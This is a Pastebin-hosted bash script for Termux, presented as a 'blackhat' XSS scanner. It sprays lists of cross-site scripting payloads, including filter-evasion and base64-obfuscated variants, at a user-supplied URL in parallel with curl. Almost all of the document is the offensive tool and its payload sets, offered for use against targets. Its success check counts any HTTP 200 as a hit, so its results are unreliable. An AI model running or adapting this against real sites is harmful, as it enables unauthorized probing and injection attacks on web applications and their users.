Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/data/data/com.termux/files/usr/bin/bash
- RED='\033[0;31m'
- GREEN='\033[1;32m'
- YELLOW='\033[1;33m'
- CYAN='\033[1;36m'
- MAGENTA='\033[1;35m'
- WHITE='\033[1;37m'
- RESET='\033[0m'
- LOG_FILE="logs/xss_blackhat_$(date +%Y%m%d_%H%M%S).log"
- mkdir -p logs
- banner() {
- clear
- echo -e "${MAGENTA}"
- echo -e "⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⠴⠶⠶⠶⠶⠶⠶⠶⠶⢤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⢀⣤⠶⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠶⣤⡀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⢀⡴⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢷⡄⠀⠀⠀"
- echo -e "⠀⣰⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀"
- echo -e "⢰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠀"
- echo -e "⣿⠀⠀⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡄⠀⢹⡄"
- echo -e "⡏⠀⢰⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⡇"
- echo -e "⣿⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡟⠀⢸⡇"
- echo -e "⢹⡆⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⣾⠀"
- echo -e "⠈⢷⡀⢸⡇⠀⢀⣠⣤⣶⣶⣶⣤⡀⠀⠀⠀⠀⠀⢀⣠⣶⣶⣶⣶⣤⣄⠀⠀⣿⠀⣼⠃⠀"
- echo -e "⠀⠈⢷⣼⠃⠀⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⡾⠃⠀⠀"
- echo -e "⠀⠀⠈⣿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⠃⠀⢸⡇⠀⠀⠀"
- echo -e "⠀⠀⠀⣿⠀⠀⠘⢿⣿⣿⣿⣿⡿⠃⠀⢠⠀⣄⠀⠀⠙⢿⣿⣿⣿⡿⠏⠀⠀⢘⡇⠀⠀⠀"
- echo -e "⠀⠀⠀⢻⡄⠀⠀⠀⠈⠉⠉⠀⠀⠀⣴⣿⠀⣿⣷⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⢸⡇⠀⠀⠀"
- echo -e "⠀⠀⠀⠈⠻⣄⡀⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠘⣟⠳⣦⡀⠀⠀⠀⠸⣿⡿⠀⢻⣿⡟⠀⠀⠀⠀⣤⡾⢻⡏⠁⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠀⢻⡄⢻⠻⣆⠀⠀⠀⠈⠀⠀⠀⠈⠀⠀⠀⢀⡾⢻⠁⢸⠁⠀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠀⢸⡇⠀⡆⢹⠒⡦⢤⠤⡤⢤⢤⡤⣤⠤⡔⡿⢁⡇⠀⡿⠀⠀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠀⠘⡇⠀⢣⢸⠦⣧⣼⣀⡇⢸⢀⣇⣸⣠⡷⢇⢸⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠀⠀⣷⠀⠈⠺⣄⣇⢸⠉⡏⢹⠉⡏⢹⢀⣧⠾⠋⠀⢠⡇⠀⠀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠀⠀⠻⣆⠀⠀⠀⠈⠉⠙⠓⠚⠚⠋⠉⠁⠀⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠀⠀⠀⠙⢷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡴⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀"
- echo -e "⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠳⠶⠦⣤⣤⣤⡤⠶⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀"
- echo -e ""
- echo -e "${RESET}${RED} BLACKHAT XSS VULNERABILITY SCANNER${RESET}"
- echo -e "${WHITE} Web Application Reconnaissance | Threat Injection Engine${RESET}\n"
- }
- menu() {
- echo -e "${CYAN}1.${RESET} Launch Recon Assault"
- echo -e "${CYAN}2.${RESET} Abort Operation"
- read -p $'\nSelect: ' input
- [[ "$input" == "1" ]] && setup
- [[ "$input" == "2" ]] && exit
- menu
- }
- setup() {
- read -p $'\nTarget URL (use FUZZ where payload injects): ' target
- [[ "$target" != *FUZZ* ]] && echo -e "${RED}Missing FUZZ keyword. Restarting.${RESET}" && sleep 2 && menu
- echo -e "\n${CYAN}METHODS:"
- echo -e "1. GET"
- echo -e "2. POST${RESET}"
- read -p $'\nChoose method: ' method
- case $method in
- 1) verb="GET" ;;
- 2) verb="POST" ;;
- *) setup ;;
- esac
- echo -e "\n${CYAN}PAYLOAD SET:"
- echo -e "1. Basic Recon"
- echo -e "2. Advanced Weapons"
- echo -e "3. WAF Infiltration"
- echo -e "4. Polyglot Injection"
- echo -e "5. CHAOS MODE${RESET}"
- read -p $'\nSelect set: ' set
- read -p $'\nThread Count: ' threads
- [[ "$threads" =~ ^[0-9]+$ ]] || threads=10
- load_payloads "$set"
- fuzz "$target" "$verb" "$threads"
- }
- load_payloads() {
- payloads=()
- [[ "$1" == "1" || "$1" == "5" ]] && payloads+=(
- "<script>alert(1)</script>" "<img src=x onerror=alert(1)>"
- "<svg/onload=alert(1)>" "<body onload=alert(1)>"
- "<iframe src='javascript:alert(1)'>" "<a href='javascript:alert(1)'>X</a>"
- "<input onfocus=alert(1) autofocus>" "<video onloadstart=alert(1)>"
- "<marquee onstart=alert(1)>" "<object data='javascript:alert(1)'>"
- )
- [[ "$1" == "2" || "$1" == "5" ]] && payloads+=(
- "\"><script>alert(document.domain)</script>"
- "<img src=1 href=1 onerror=\"alert(1)\">"
- "<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>"
- "<form><button formaction='javascript:alert(1)'>"
- "<script>new Function`alert(1)`</script>"
- "<svg><g onload=\"javascript:alert(1)\">"
- "<meta http-equiv=\"refresh\" content=\"0;url=javascript:alert(1)\">"
- "<iframe srcdoc='<script>alert(1)</script>'>"
- )
- [[ "$1" == "3" || "$1" == "5" ]] && payloads+=(
- "<script>eval(atob('YWxlcnQoMSk='))</script>"
- "<img src/onerror=`alert(1)`>" "<body background='javascript:alert(1)'>"
- "\"><img src=x onerror=alert(1)>" "';alert(String.fromCharCode(88,83,83))//"
- "<svg><script xlink:href='data:text/javascript,alert(1)'></script></svg>"
- "<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>"
- )
- [[ "$1" == "4" || "$1" == "5" ]] && payloads+=(
- "<svg/onload=confirm`1`>"
- "<style>@keyframes a{}body{animation-name:a}body{animation-duration:0.00001s}body{onanimationstart=alert(1)}</style>"
- "<math><mtext></title><script>alert(1)</script>"
- "<script src=data:text/javascript,alert(1)></script>"
- "<svg><animate onbegin=alert(1) attributeName=x dur=1s fill=freeze to=100/>"
- "<iframe srcdoc=\"<script>alert(1)</script>\">"
- "<svg><set attributeName=x to=1 begin=0s onbegin=alert(1)/>"
- "<isindex onfocus=alert(1) autofocus>"
- )
- }
- log_success() {
- echo -e "[SUCCESS] $1" | tee -a "$LOG_FILE"
- }
- log_fail() {
- echo -e "[FAIL] $1" >> "$LOG_FILE"
- }
- fuzz() {
- target="$1"
- method="$2"
- threads="$3"
- printf "\n${YELLOW}Injecting %s payloads using %s requests...${RESET}\n\n" "${#payloads[@]}" "$method"
- export -f send_payload log_success log_fail
- parallel -j "$threads" send_payload ::: "${payloads[@]}" <<< "$target|$method"
- }
- send_payload() {
- payload="$1"
- read -r target method
- req="${target//FUZZ/$(printf '%q' "$payload")}"
- if [[ "$method" == "GET" ]]; then
- resp=$(curl -s -o /dev/null -w "%{http_code}" "$req")
- else
- resp=$(curl -s -o /dev/null -w "%{http_code}" -X POST -d "input=$(printf '%q' "$payload")" "$target")
- fi
- if [[ "$resp" == "200" ]]; then
- log_success "$payload"
- else
- log_fail "$payload"
- fi
- }
- banner
- menu
Add Comment
Please, Sign In to add comment